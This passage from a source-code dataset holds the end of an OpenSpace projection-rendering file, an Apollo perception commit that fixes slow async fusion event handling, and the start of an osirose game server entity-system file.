glm::vec3(0, 1, 0)\n );\n glm::mat4 rotPropZ = glm::rotate(\n _transform, \n glm::radians(static_cast<float>(_rotation.value().z)),\n glm::vec3(0, 0, 1)\n );\n \n for (int i = 0; i < 3; i++) {\n for (int j = 0; j < 3; j++) {\n _transform[i][j] = static_cast<float>(_stateMatrix[i][j]);\n }\n }\n _transform = _transform * rotPropX * rotPropY * rotPropZ;\n\n glm::dvec3 boresight;\n try {\n SpiceManager::FieldOfViewResult res = SpiceManager::ref().fieldOfView(_instrumentID);\n boresight = std::move(res.boresightVector);\n } catch (const SpiceManager::SpiceException& e) {\n return;\n }\n\n double lightTime;\n glm::dvec3 p =\n SpiceManager::ref().targetPosition(_projectorID, _projecteeID, _destination, _aberration, time, lightTime);\n psc position = PowerScaledCoordinate::CreatePowerScaledCoordinate(p.x, p.y, p.z);\n \n position[3] += (3 + _camScaling[1]);\n glm::vec3 cpos = position.vec3();\n\n _projectorMatrix = computeProjectorMatrix(cpos, boresight, _up, _instrumentMatrix, \n _fovy, _aspectRatio, _nearPlane, _farPlane, _boresight\n );\n}\n\nvoid RenderableModelProjection::project() {\n for (auto img : _imageTimes) {\n attitudeParameters(img.startTime);\n imageProjectGPU(loadProjectionTexture(img.path));\n }\n _capture = false;\n}\n\nbool RenderableModelProjection::loadTextures() {\n _baseTexture = nullptr;\n if (_colorTexturePath.value() != \"\") {\n _baseTexture = std::move(\n ghoul::io::TextureReader::ref().loadTexture(absPath(_colorTexturePath))\n );\n if (_baseTexture) {\n LDEBUG(\"Loaded texture from '\" << absPath(_colorTexturePath) << \"'\");\n _baseTexture->uploadTexture();\n _baseTexture->setFilter(ghoul::opengl::Texture::FilterMode::Linear);\n }\n }\n\n return _baseTexture != nullptr;\n}\n\n} \/\/ namespace openspace\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright 2018 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n#include \"modules\/perception\/obstacle\/onboard\/async_fusion_subnode.h\"\n\n#include <unordered_map>\n\n#include \"modules\/common\/adapters\/adapter_manager.h\"\n#include \"modules\/common\/configs\/config_gflags.h\"\n#include \"modules\/common\/log.h\"\n#include \"modules\/common\/time\/timer.h\"\n#include \"modules\/perception\/common\/perception_gflags.h\"\n#include \"modules\/perception\/onboard\/event_manager.h\"\n#include \"modules\/perception\/onboard\/shared_data_manager.h\"\n#include \"modules\/perception\/onboard\/subnode_helper.h\"\n\nnamespace apollo {\nnamespace perception {\n\nusing apollo::canbus::Chassis;\nusing apollo::common::ErrorCode;\nusing apollo::common::Status;\nusing apollo::common::adapter::AdapterManager;\n\nbool AsyncFusionSubnode::InitInternal() {\n RegistAllAlgorithm();\n\n AdapterManager::Init(FLAGS_perception_adapter_config_filename);\n\n CHECK(AdapterManager::GetChassis()) << \"Chassis is not initialized.\";\n AdapterManager::AddChassisCallback(&AsyncFusionSubnode::OnChassis, this);\n\n CHECK(shared_data_manager_ != nullptr);\n fusion_.reset(BaseFusionRegisterer::GetInstanceByName(FLAGS_onboard_fusion));\n if (fusion_ == nullptr) {\n AERROR << \"Failed to get fusion instance: \" << FLAGS_onboard_fusion;\n return false;\n }\n if (!fusion_->Init()) {\n AERROR << \"Failed to init fusion:\" << FLAGS_onboard_fusion;\n return false;\n }\n radar_object_data_ = dynamic_cast<RadarObjectData *>(\n shared_data_manager_->GetSharedData(\"RadarObjectData\"));\n if (radar_object_data_ == nullptr) {\n AWARN << \"Failed to get RadarObjectData.\";\n }\n camera_object_data_ = dynamic_cast<CameraObjectData *>(\n shared_data_manager_->GetSharedData(\"CameraObjectData\"));\n if (camera_object_data_ == nullptr) {\n AWARN << \"Failed to get CameraObjectData.\";\n }\n lane_shared_data_ = dynamic_cast<LaneSharedData *>(\n shared_data_manager_->GetSharedData(\"LaneSharedData\"));\n if (lane_shared_data_ == nullptr) {\n AERROR << \"failed to get shared data instance: LaneSharedData \";\n return false;\n }\n\n fusion_data_ = dynamic_cast<FusionSharedData *>(\n shared_data_manager_->GetSharedData(\"FusionSharedData\"));\n if (fusion_data_ == nullptr) {\n AWARN << \"Failed to get FusionSharedData.\";\n }\n\n if (!InitOutputStream()) {\n AERROR << \"Failed to init output stream.\";\n return false;\n }\n\n AINFO << \"Init AsyncFusionSubnode succ. Using fusion:\" << fusion_->name();\n return true;\n}\n\nbool AsyncFusionSubnode::InitOutputStream() {\n \/\/ expect reserve_ format:\n \/\/ pub_driven_event_id:n\n \/\/ lidar_output_stream : event_id=n&sink_type=m&sink_name=x\n \/\/ radar_output_stream : event_id=n&sink_type=m&sink_name=x\n std::unordered_map<std::string, std::string> reserve_field_map;\n if (!SubnodeHelper::ParseReserveField(reserve_, &reserve_field_map)) {\n AERROR << \"Failed to parse reserve string: \" << reserve_;\n return false;\n }\n\n auto radar_iter = reserve_field_map.find(\"radar_event_id\");\n if (radar_iter == reserve_field_map.end()) {\n AWARN << \"Failed to find radar_event_id:\" << reserve_;\n AINFO << \"radar_event_id will be set -1\";\n radar_event_id_ = -1;\n } else {\n radar_event_id_ = static_cast<EventID>(atoi((radar_iter->second).c_str()));\n }\n\n auto camera_iter = reserve_field_map.find(\"camera_event_id\");\n if (camera_iter == reserve_field_map.end()) {\n AWARN << \"Failed to find camera_event_id:\" << reserve_;\n AINFO << \"camera_event_id will be set -1\";\n camera_event_id_ = -1;\n } else {\n camera_event_id_ =\n static_cast<EventID>(atoi((camera_iter->second).c_str()));\n }\n\n auto lane_iter = reserve_field_map.find(\"lane_event_id\");\n if (lane_iter == reserve_field_map.end()) {\n AWARN << \"Failed to find camera_event_id:\" << reserve_;\n AINFO << \"camera_event_id will be set -1\";\n lane_event_id_ = -1;\n } else {\n lane_event_id_ = static_cast<EventID>(atoi((lane_iter->second).c_str()));\n }\n return true;\n}\n\nStatus AsyncFusionSubnode::ProcEvents() {\n for (auto event_meta : sub_meta_events_) {\n std::vector<Event> events;\n if (!SubscribeEvents(event_meta, &events)) {\n AERROR << \"event meta id:\" << event_meta.event_id << \" \"\n << event_meta.from_node << \" \" << event_meta.to_node;\n return Status(ErrorCode::PERCEPTION_ERROR, \"Subscribe event fail.\");\n }\n\n if (events.empty()) {\n usleep(500);\n continue;\n }\n\n apollo::common::time::Timer timer;\n timer.Start();\n Process(event_meta, events);\n ADEBUG << \"time elapsed for async fusion process \" << timer.End(\"\");\n\n \/\/ public obstacle message\n PerceptionObstacles obstacles;\n if (GeneratePbMsg(&obstacles)) {\n \/\/ Assume FLU coordinate system\n if (FLAGS_use_navigation_mode) {\n for (auto obstacle : obstacles.perception_obstacle()) {\n obstacle.mutable_velocity()->set_x(obstacle.velocity().x() +\n chassis_speed_mps_);\n }\n }\n common::adapter::AdapterManager::PublishPerceptionObstacles(obstacles);\n }\n AINFO << \"Publish 3d perception fused msg. timestamp:\"\n << GLOG_TIMESTAMP(timestamp_) << \" obj_cnt:\" << objects_.size();\n }\n return Status::OK();\n}\n\nvoid AsyncFusionSubnode::PublishDataAndEvent(\n const double ×tamp, const std::string &device_id,\n const SharedDataPtr<FusionItem> &data) {\n CommonSharedDataKey key(timestamp, device_id);\n fusion_data_->Add(key, data);\n for (size_t idx = 0; idx < pub_meta_events_.size(); ++idx) {\n const EventMeta &event_meta = pub_meta_events_[idx];\n Event event;\n event.event_id = event_meta.event_id;\n event.timestamp = timestamp;\n event.reserve = device_id;\n event_manager_->Publish(event);\n }\n}\n\nStatus AsyncFusionSubnode::Process(const EventMeta &event_meta,\n const std::vector<Event> &events) {\n const std::string &device_id = events[0].reserve;\n \/\/ const double timestamp = events[0].timestamp;\n\n std::vector<SensorObjects> sensor_objs;\n if (!BuildSensorObjs(events, &sensor_objs)) {\n AERROR << \"Failed to build_sensor_objs\";\n error_code_ = common::PERCEPTION_ERROR_PROCESS;\n return Status(ErrorCode::PERCEPTION_ERROR, \"Failed to build_sensor_objs.\");\n }\n PERF_BLOCK_START();\n objects_.clear();\n \/\/ if (!fusion_->Fuse(sensor_objs, &objects_)) {\n \/\/ AWARN << \"Failed to call fusion plugin.\"\n \/\/ << \" event_meta: [\" << event_meta.to_string()\n \/\/ << \"] event_cnt:\" << events.size() << \" event_0: [\"\n \/\/ << events[0].to_string() << \"]\";\n \/\/ error_code_ = common::PERCEPTION_ERROR_PROCESS;\n \/\/ return Status(ErrorCode::PERCEPTION_ERROR,\n \/\/ \"Failed to call fusion plugin.\");\n \/\/ }\n\n if (event_meta.event_id == radar_event_id_) {\n PERF_BLOCK_END(\"fusion_radar\");\n } else if (event_meta.event_id == camera_event_id_) {\n PERF_BLOCK_END(\"fusion_camera\");\n }\n\n if (objects_.size() > 0 && FLAGS_publish_fusion_event) {\n SharedDataPtr<FusionItem> fusion_item_ptr(new FusionItem);\n fusion_item_ptr->timestamp = objects_[0]->latest_tracked_time;\n for (auto obj : objects_) {\n ObjectPtr objclone(new Object());\n objclone->clone(*obj);\n fusion_item_ptr->obstacles.push_back(objclone);\n }\n AINFO << \"publishing event for timestamp deviceid and size of fusion object\"\n << fusion_item_ptr->timestamp << \" \" << device_id << \" \"\n << fusion_item_ptr->obstacles.size();\n PublishDataAndEvent(fusion_item_ptr->timestamp, device_id, fusion_item_ptr);\n }\n\n \/\/ publishing result to pnc\n for (auto sensor_obj : sensor_objs) {\n PublishPerceptionPb(sensor_obj);\n }\n\n error_code_ = common::OK;\n return Status::OK();\n}\n\nvoid AsyncFusionSubnode::PublishPerceptionPb(\n const SensorObjects &sensor_objects) {\n AINFO << \"Camera publish perception pb data\";\n PerceptionObstacles obstacles;\n \/\/ Header\n common::adapter::AdapterManager::FillPerceptionObstaclesHeader(\n \"perception_obstacle\", &obstacles);\n common::Header *header = obstacles.mutable_header();\n header->set_lidar_timestamp(0);\n \/\/ use timestamp in nanoseconds\n header->set_camera_timestamp(sensor_objects.timestamp * 1e9);\n header->set_radar_timestamp(0);\n obstacles.set_error_code(sensor_objects.error_code);\n\n \/\/ generate lane marker protobuf messages\n LaneMarkers *lane_markers = obstacles.mutable_lane_marker();\n LaneObjectsToLaneMarkerProto(*(sensor_objects.lane_objects), lane_markers);\n \/\/ Serialize each Object\n for (const auto &obj : sensor_objects.objects) {\n PerceptionObstacle *obstacle = obstacles.add_perception_obstacle();\n obj->Serialize(obstacle);\n }\n\n \/\/ Relative speed of objects + latest ego car speed in X\n for (auto obstacle : obstacles.perception_obstacle()) {\n obstacle.mutable_velocity()->set_x(obstacle.velocity().x() +\n chassis_.speed_mps());\n }\n\n common::adapter::AdapterManager::PublishPerceptionObstacles(obstacles);\n ADEBUG << \"Camera Obstacles: \" << obstacles.ShortDebugString();\n}\n\nbool AsyncFusionSubnode::SubscribeEvents(const EventMeta &event_meta,\n std::vector<Event> *events) const {\n Event event;\n \/\/ blocking call for each of these events\n while (event_manager_->Subscribe(event_meta.event_id, &event, true)) {\n AINFO << \"starting subscribing event \" << event_meta.event_id;\n events->push_back(event);\n }\n return true;\n}\n\nbool AsyncFusionSubnode::BuildSensorObjs(\n const std::vector<Event> &events,\n std::vector<SensorObjects> *multi_sensor_objs) {\n PERF_FUNCTION();\n for (auto event : events) {\n std::shared_ptr<SensorObjects> sensor_objects;\n if (!GetSharedData(event, &sensor_objects)) {\n return false;\n }\n \/\/ Make sure timestamp and type are filled.\n sensor_objects->timestamp = event.timestamp;\n\n if (event.event_id == radar_event_id_) {\n sensor_objects->sensor_type = SensorType::RADAR;\n } else if (event.event_id == camera_event_id_) {\n sensor_objects->sensor_type = SensorType::CAMERA;\n } else {\n AERROR << \"Event id is not supported. event:\" << event.to_string();\n return false;\n }\n sensor_objects->sensor_id = GetSensorType(sensor_objects->sensor_type);\n multi_sensor_objs->push_back(*sensor_objects);\n ADEBUG << \"get sensor objs:\" << sensor_objects->ToString();\n }\n return true;\n}\n\nbool AsyncFusionSubnode::GetSharedData(const Event &event,\n std::shared_ptr<SensorObjects> *objs) {\n double timestamp = event.timestamp;\n const std::string &device_id = event.reserve;\n std::string data_key;\n if (!SubnodeHelper::ProduceSharedDataKey(timestamp, device_id, &data_key)) {\n AERROR << \"Failed to produce shared data key. EventID:\" << event.event_id\n << \" timestamp:\" << timestamp << \" device_id:\" << device_id;\n return false;\n }\n bool get_data_succ = false;\n\n if (event.event_id == radar_event_id_ && radar_object_data_ != nullptr) {\n get_data_succ = radar_object_data_->Get(data_key, objs);\n } else if (event.event_id == camera_event_id_ &&\n camera_object_data_ != nullptr) {\n get_data_succ = camera_object_data_->Get(data_key, objs);\n \/\/ trying to get lane shared data as well\n Event lane_event;\n if (event_manager_->Subscribe(lane_event_id_, &lane_event, false)) {\n get_data_succ =\n lane_shared_data_->Get(data_key, &((*objs)->lane_objects));\n AINFO << \"getting lane data successfully for data key \" << data_key;\n }\n } else {\n AERROR << \"Event id is not supported. event:\" << event.to_string();\n return false;\n }\n\n if (!get_data_succ) {\n AERROR << \"Failed to get shared data. event:\" << event.to_string();\n return false;\n }\n\n return true;\n}\n\nbool AsyncFusionSubnode::GeneratePbMsg(PerceptionObstacles *obstacles) {\n common::adapter::AdapterManager::FillPerceptionObstaclesHeader(\n FLAGS_obstacle_module_name, obstacles);\n common::Header *header = obstacles->mutable_header();\n header->set_lidar_timestamp(timestamp_ * 1e9); \/\/ in ns\n header->set_camera_timestamp(0);\n header->set_radar_timestamp(0);\n\n obstacles->set_error_code(error_code_);\n\n for (const auto &obj : objects_) {\n PerceptionObstacle *obstacle = obstacles->add_perception_obstacle();\n obj->Serialize(obstacle);\n }\n\n ADEBUG << \"PerceptionObstacles: \" << obstacles->ShortDebugString();\n return true;\n}\n\nvoid AsyncFusionSubnode::RegistAllAlgorithm() {\n RegisterFactoryAsyncFusion();\n}\n\nvoid AsyncFusionSubnode::OnChassis(const Chassis &chassis) {\n ADEBUG << \"Received chassis data: run chassis callback.\";\n chassis_.CopyFrom(chassis);\n chassis_speed_mps_ = chassis.speed_mps();\n}\n\n} \/\/ namespace perception\n} \/\/ namespace apollo\n<commit_msg>fix perception slow bug<commit_after>\/******************************************************************************\n * Copyright 2018 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n#include \"modules\/perception\/obstacle\/onboard\/async_fusion_subnode.h\"\n\n#include <unordered_map>\n\n#include \"modules\/common\/adapters\/adapter_manager.h\"\n#include \"modules\/common\/configs\/config_gflags.h\"\n#include \"modules\/common\/log.h\"\n#include \"modules\/common\/time\/timer.h\"\n#include \"modules\/perception\/common\/perception_gflags.h\"\n#include \"modules\/perception\/onboard\/event_manager.h\"\n#include \"modules\/perception\/onboard\/shared_data_manager.h\"\n#include \"modules\/perception\/onboard\/subnode_helper.h\"\n\nnamespace apollo {\nnamespace perception {\n\nusing apollo::canbus::Chassis;\nusing apollo::common::ErrorCode;\nusing apollo::common::Status;\nusing apollo::common::adapter::AdapterManager;\n\nbool AsyncFusionSubnode::InitInternal() {\n RegistAllAlgorithm();\n\n AdapterManager::Init(FLAGS_perception_adapter_config_filename);\n\n CHECK(AdapterManager::GetChassis()) << \"Chassis is not initialized.\";\n AdapterManager::AddChassisCallback(&AsyncFusionSubnode::OnChassis, this);\n\n CHECK(shared_data_manager_ != nullptr);\n fusion_.reset(BaseFusionRegisterer::GetInstanceByName(FLAGS_onboard_fusion));\n if (fusion_ == nullptr) {\n AERROR << \"Failed to get fusion instance: \" << FLAGS_onboard_fusion;\n return false;\n }\n if (!fusion_->Init()) {\n AERROR << \"Failed to init fusion:\" << FLAGS_onboard_fusion;\n return false;\n }\n radar_object_data_ = dynamic_cast<RadarObjectData *>(\n shared_data_manager_->GetSharedData(\"RadarObjectData\"));\n if (radar_object_data_ == nullptr) {\n AWARN << \"Failed to get RadarObjectData.\";\n }\n camera_object_data_ = dynamic_cast<CameraObjectData *>(\n shared_data_manager_->GetSharedData(\"CameraObjectData\"));\n if (camera_object_data_ == nullptr) {\n AWARN << \"Failed to get CameraObjectData.\";\n }\n lane_shared_data_ = dynamic_cast<LaneSharedData *>(\n shared_data_manager_->GetSharedData(\"LaneSharedData\"));\n if (lane_shared_data_ == nullptr) {\n AERROR << \"failed to get shared data instance: LaneSharedData \";\n return false;\n }\n\n fusion_data_ = dynamic_cast<FusionSharedData *>(\n shared_data_manager_->GetSharedData(\"FusionSharedData\"));\n if (fusion_data_ == nullptr) {\n AWARN << \"Failed to get FusionSharedData.\";\n }\n\n if (!InitOutputStream()) {\n AERROR << \"Failed to init output stream.\";\n return false;\n }\n\n AINFO << \"Init AsyncFusionSubnode succ. Using fusion:\" << fusion_->name();\n return true;\n}\n\nbool AsyncFusionSubnode::InitOutputStream() {\n \/\/ expect reserve_ format:\n \/\/ pub_driven_event_id:n\n \/\/ lidar_output_stream : event_id=n&sink_type=m&sink_name=x\n \/\/ radar_output_stream : event_id=n&sink_type=m&sink_name=x\n std::unordered_map<std::string, std::string> reserve_field_map;\n if (!SubnodeHelper::ParseReserveField(reserve_, &reserve_field_map)) {\n AERROR << \"Failed to parse reserve string: \" << reserve_;\n return false;\n }\n\n auto radar_iter = reserve_field_map.find(\"radar_event_id\");\n if (radar_iter == reserve_field_map.end()) {\n AWARN << \"Failed to find radar_event_id:\" << reserve_;\n AINFO << \"radar_event_id will be set -1\";\n radar_event_id_ = -1;\n } else {\n radar_event_id_ = static_cast<EventID>(atoi((radar_iter->second).c_str()));\n }\n\n auto camera_iter = reserve_field_map.find(\"camera_event_id\");\n if (camera_iter == reserve_field_map.end()) {\n AWARN << \"Failed to find camera_event_id:\" << reserve_;\n AINFO << \"camera_event_id will be set -1\";\n camera_event_id_ = -1;\n } else {\n camera_event_id_ =\n static_cast<EventID>(atoi((camera_iter->second).c_str()));\n }\n\n auto lane_iter = reserve_field_map.find(\"lane_event_id\");\n if (lane_iter == reserve_field_map.end()) {\n AWARN << \"Failed to find camera_event_id:\" << reserve_;\n AINFO << \"camera_event_id will be set -1\";\n lane_event_id_ = -1;\n } else {\n lane_event_id_ = static_cast<EventID>(atoi((lane_iter->second).c_str()));\n }\n return true;\n}\n\nStatus AsyncFusionSubnode::ProcEvents() {\n for (auto event_meta : sub_meta_events_) {\n std::vector<Event> events;\n if (event_meta.event_id == lane_event_id_) {\n continue;\n }\n\n if (!SubscribeEvents(event_meta, &events)) {\n AERROR << \"event meta id:\" << event_meta.event_id << \" \"\n << event_meta.from_node << \" \" << event_meta.to_node;\n return Status(ErrorCode::PERCEPTION_ERROR, \"Subscribe event fail.\");\n }\n\n if (events.empty()) {\n usleep(500);\n continue;\n }\n\n apollo::common::time::Timer timer;\n timer.Start();\n Process(event_meta, events);\n ADEBUG << \"time elapsed for async fusion process \" << timer.End(\"\");\n\n \/\/ public obstacle message\n PerceptionObstacles obstacles;\n if (GeneratePbMsg(&obstacles)) {\n \/\/ Assume FLU coordinate system\n if (FLAGS_use_navigation_mode) {\n for (auto obstacle : obstacles.perception_obstacle()) {\n obstacle.mutable_velocity()->set_x(obstacle.velocity().x() +\n chassis_speed_mps_);\n }\n }\n common::adapter::AdapterManager::PublishPerceptionObstacles(obstacles);\n }\n AINFO << \"Publish 3d perception fused msg. timestamp:\"\n << GLOG_TIMESTAMP(timestamp_) << \" obj_cnt:\" << objects_.size();\n }\n return Status::OK();\n}\n\nvoid AsyncFusionSubnode::PublishDataAndEvent(\n const double ×tamp, const std::string &device_id,\n const SharedDataPtr<FusionItem> &data) {\n CommonSharedDataKey key(timestamp, device_id);\n bool fusion_succ = fusion_data_->Add(key, data);\n if (!fusion_succ) {\n AERROR <<\"fusion shared data addkey failure\";\n }\n\n ADEBUG << \"adding key in fusion shared data \" << key.ToString();\n\n for (size_t idx = 0; idx < pub_meta_events_.size(); ++idx) {\n const EventMeta &event_meta = pub_meta_events_[idx];\n Event event;\n event.event_id = event_meta.event_id;\n event.timestamp = timestamp;\n event.reserve = device_id;\n event_manager_->Publish(event);\n }\n}\n\nStatus AsyncFusionSubnode::Process(const EventMeta &event_meta,\n const std::vector<Event> &events) {\n const std::string &device_id = events[0].reserve;\n \/\/ const double timestamp = events[0].timestamp;\n\n std::vector<SensorObjects> sensor_objs;\n if (!BuildSensorObjs(events, &sensor_objs)) {\n AERROR << \"Failed to build_sensor_objs\";\n error_code_ = common::PERCEPTION_ERROR_PROCESS;\n return Status(ErrorCode::PERCEPTION_ERROR, \"Failed to build_sensor_objs.\");\n }\n PERF_BLOCK_START();\n objects_.clear();\n \/*\n if (!fusion_->Fuse(sensor_objs, &objects_)) {\n AWARN << \"Failed to call fusion plugin.\"\n << \" event_meta: [\" << event_meta.to_string()\n << \"] event_cnt:\" << events.size() << \" event_0: [\"\n << events[0].to_string() << \"]\";\n error_code_ = common::PERCEPTION_ERROR_PROCESS;\n return Status(ErrorCode::PERCEPTION_ERROR, \"Failed to call fusion plugin.\");\n }*\/\n\n if (event_meta.event_id == radar_event_id_) {\n PERF_BLOCK_END(\"fusion_radar\");\n } else if (event_meta.event_id == camera_event_id_) {\n PERF_BLOCK_END(\"fusion_camera\");\n }\n\n if (objects_.size() > 0 && FLAGS_publish_fusion_event) {\n SharedDataPtr<FusionItem> fusion_item_ptr(new FusionItem);\n fusion_item_ptr->timestamp = objects_[0]->latest_tracked_time;\n for (auto obj : objects_) {\n ObjectPtr objclone(new Object());\n objclone->clone(*obj);\n fusion_item_ptr->obstacles.push_back(objclone);\n }\n AINFO << \"publishing event for timestamp deviceid and size of fusion object\"\n << fusion_item_ptr->timestamp << \" \" << device_id << \" \"\n << fusion_item_ptr->obstacles.size();\n PublishDataAndEvent(fusion_item_ptr->timestamp, device_id, fusion_item_ptr);\n }\n\n \/\/ publishing result to pnc\n if (event_meta.event_id == camera_event_id_) {\n for (auto sensor_obj : sensor_objs) {\n PublishPerceptionPb(sensor_obj);\n }\n }\n\n error_code_ = common::OK;\n return Status::OK();\n}\n\nvoid AsyncFusionSubnode::PublishPerceptionPb(\n const SensorObjects &sensor_objects) {\n AINFO << \"Camera publish perception pb data\";\n PerceptionObstacles obstacles;\n \/\/ Header\n common::adapter::AdapterManager::FillPerceptionObstaclesHeader(\n \"perception_obstacle\", &obstacles);\n common::Header *header = obstacles.mutable_header();\n header->set_lidar_timestamp(0);\n \/\/ use timestamp in nanoseconds\n header->set_camera_timestamp(sensor_objects.timestamp * 1e9);\n header->set_radar_timestamp(0);\n obstacles.set_error_code(sensor_objects.error_code);\n\n \/\/ generate lane marker protobuf messages\n LaneMarkers *lane_markers = obstacles.mutable_lane_marker();\n LaneObjectsToLaneMarkerProto(*(sensor_objects.lane_objects), lane_markers);\n \/\/ Serialize each Object\n for (const auto &obj : sensor_objects.objects) {\n PerceptionObstacle *obstacle = obstacles.add_perception_obstacle();\n obj->Serialize(obstacle);\n }\n\n \/\/ Relative speed of objects + latest ego car speed in X\n for (auto obstacle : obstacles.perception_obstacle()) {\n obstacle.mutable_velocity()->set_x(obstacle.velocity().x() +\n chassis_.speed_mps());\n }\n\n common::adapter::AdapterManager::PublishPerceptionObstacles(obstacles);\n ADEBUG << \"Camera Obstacles: \" << obstacles.ShortDebugString();\n}\n\nbool AsyncFusionSubnode::SubscribeEvents(const EventMeta &event_meta,\n std::vector<Event> *events) const {\n Event event;\n \/\/ blocking call for each of these events\n while (event_manager_->Subscribe(event_meta.event_id, &event, true)) {\n ADEBUG << \"starting subscribing event \" << event_meta.event_id;\n \/\/ events->push_back(event);\n }\n\n \/\/ only obtain latest event from a sensor queue\n if (event.event_id !=0 && event.timestamp !=0.0) {\n events->push_back(event);\n }\n return true;\n}\n\nbool AsyncFusionSubnode::BuildSensorObjs(\n const std::vector<Event> &events,\n std::vector<SensorObjects> *multi_sensor_objs) {\n PERF_FUNCTION();\n for (auto event : events) {\n std::shared_ptr<SensorObjects> sensor_objects;\n if (!GetSharedData(event, &sensor_objects)) {\n return false;\n }\n \/\/ Make sure timestamp and type are filled.\n sensor_objects->timestamp = event.timestamp;\n\n if (event.event_id == radar_event_id_) {\n sensor_objects->sensor_type = SensorType::RADAR;\n } else if (event.event_id == camera_event_id_) {\n sensor_objects->sensor_type = SensorType::CAMERA;\n } else {\n AERROR << \"Event id is not supported. event:\" << event.to_string();\n return false;\n }\n sensor_objects->sensor_id = GetSensorType(sensor_objects->sensor_type);\n multi_sensor_objs->push_back(*sensor_objects);\n ADEBUG << \"get sensor objs:\" << sensor_objects->ToString();\n }\n return true;\n}\n\nbool AsyncFusionSubnode::GetSharedData(const Event &event,\n std::shared_ptr<SensorObjects> *objs) {\n double timestamp = event.timestamp;\n const std::string &device_id = event.reserve;\n std::string data_key;\n if (!SubnodeHelper::ProduceSharedDataKey(timestamp, device_id, &data_key)) {\n AERROR << \"Failed to produce shared data key. EventID:\" << event.event_id\n << \" timestamp:\" << timestamp << \" device_id:\" << device_id;\n return false;\n }\n bool get_data_succ = false;\n\n if (event.event_id == radar_event_id_ && radar_object_data_ != nullptr) {\n get_data_succ = radar_object_data_->Get(data_key, objs);\n } else if (event.event_id == camera_event_id_ &&\n camera_object_data_ != nullptr) {\n get_data_succ = camera_object_data_->Get(data_key, objs);\n \/\/ trying to get lane shared data as well\n Event lane_event;\n if (event_manager_->Subscribe(lane_event_id_, &lane_event, false)) {\n get_data_succ =\n lane_shared_data_->Get(data_key, &((*objs)->lane_objects));\n AINFO << \"getting lane data successfully for data key \" << data_key;\n }\n } else {\n AERROR << \"Event id is not supported. event:\" << event.to_string();\n return false;\n }\n\n if (!get_data_succ) {\n AERROR << \"Failed to get shared data. event:\" << event.to_string();\n return false;\n }\n\n return true;\n}\n\nbool AsyncFusionSubnode::GeneratePbMsg(PerceptionObstacles *obstacles) {\n common::adapter::AdapterManager::FillPerceptionObstaclesHeader(\n FLAGS_obstacle_module_name, obstacles);\n common::Header *header = obstacles->mutable_header();\n header->set_lidar_timestamp(timestamp_ * 1e9); \/\/ in ns\n header->set_camera_timestamp(0);\n header->set_radar_timestamp(0);\n\n obstacles->set_error_code(error_code_);\n\n for (const auto &obj : objects_) {\n PerceptionObstacle *obstacle = obstacles->add_perception_obstacle();\n obj->Serialize(obstacle);\n }\n\n ADEBUG << \"PerceptionObstacles: \" << obstacles->ShortDebugString();\n return true;\n}\n\nvoid AsyncFusionSubnode::RegistAllAlgorithm() {\n RegisterFactoryAsyncFusion();\n}\n\nvoid AsyncFusionSubnode::OnChassis(const Chassis &chassis) {\n ADEBUG << \"Received chassis data: run chassis callback.\";\n chassis_.CopyFrom(chassis);\n chassis_speed_mps_ = chassis.speed_mps();\n}\n\n} \/\/ namespace perception\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"<commit_before>#include \"entity_system.h\"\n#include \"enumerate.h\"\n#include <entt.hpp>\n#include \"components\/basic_info.h\"\n#include \"components\/computed_values.h\"\n#include \"components\/faction.h\"\n#include \"components\/graphics.h\"\n#include \"components\/guild.h\"\n#include \"components\/hotbar.h\"\n#include \"components\/inventory.h\"\n#include \"components\/item.h\"\n#include \"components\/level.h\"\n#include \"components\/life.h\"\n#include \"components\/magic.h\"\n#include \"components\/npc.h\"\n#include \"components\/owner.h\"\n#include \"components\/position.h\"\n#include \"components\/skills.h\"\n#include \"components\/stamina.h\"\n#include \"components\/stats.h\"\n#include \"components\/status_effects.h\"\n#include \"components\/wishlist.h\"\n\nEntitySystem::EntitySystem(std::chrono::milliseconds maxTimePerUpdate) : maxTimePerUpdate(maxTimePerUpdate) {\n\tlogger = Core::CLog::GetLogger(Core::log_type::NETWORK).lock();\n}\n\nEntitySystem::~EntitySystem() {\n work_queue.kill();\n}\n\nvoid EntitySystem::add_task(std::function<void(RoseCommon::Registry&, std::chrono::milliseconds)>&& task) {\n work_queue.push_back(std::move(task));\n}\n\nvoid EntitySystem::update(std::chrono::milliseconds dt) {\n auto start = Core::Time::GetTickCount();\n for (auto [res, task] = work_queue.pop_front(); res;) {\n std::lock_guard<std::mutex> lock(access);\n task(registry, dt);\n const std::chrono::milliseconds diff = std::chrono::duration_cast<std::chrono::milliseconds>(Core::Time::GetTickCount() - start);\n if (diff >= maxTimePerUpdate) {\n logger->warn(\"Stopping after {}ms, {} tasks remaining\", maxTimePerUpdate.count(), work_queue.size());\n break;\n }\n auto [tmp_res, tmp_task] = work_queue.pop_front();\n res = tmp_res;\n task = std::move(tmp_task);\n }\n}\n\nRoseCommon::Entity EntitySystem::load_character(uint32_t charId, bool platinium) {\n using namespace Component;\n auto conn = Core::connectionPool.getConnection(Core::osirose);\n Core::CharacterTable characters{};\n Core::InventoryTable inventoryTable{};\n Core::SkillTable skillsTable{};\n Core::WishTable wish{};\n\n auto charRes = conn(sqlpp::select(sqlpp::count(characters.id), sqlpp::all_of(characters))\n .from(characters).where(characters.id == charId));\n\n if (static_cast<long>(charRes.front().count) != 1L) {\n return entt::null;\n }\n const auto& charRow = charRes.front();\n\n entt::prototype prototype(registry);\n\n auto& basicInfo = prototype.set<BasicInfo>();\n basicInfo.name = charRow.name;\n basicInfo.id = idManager.get_free_id();\n basicInfo.tag = basicInfo.id;\n 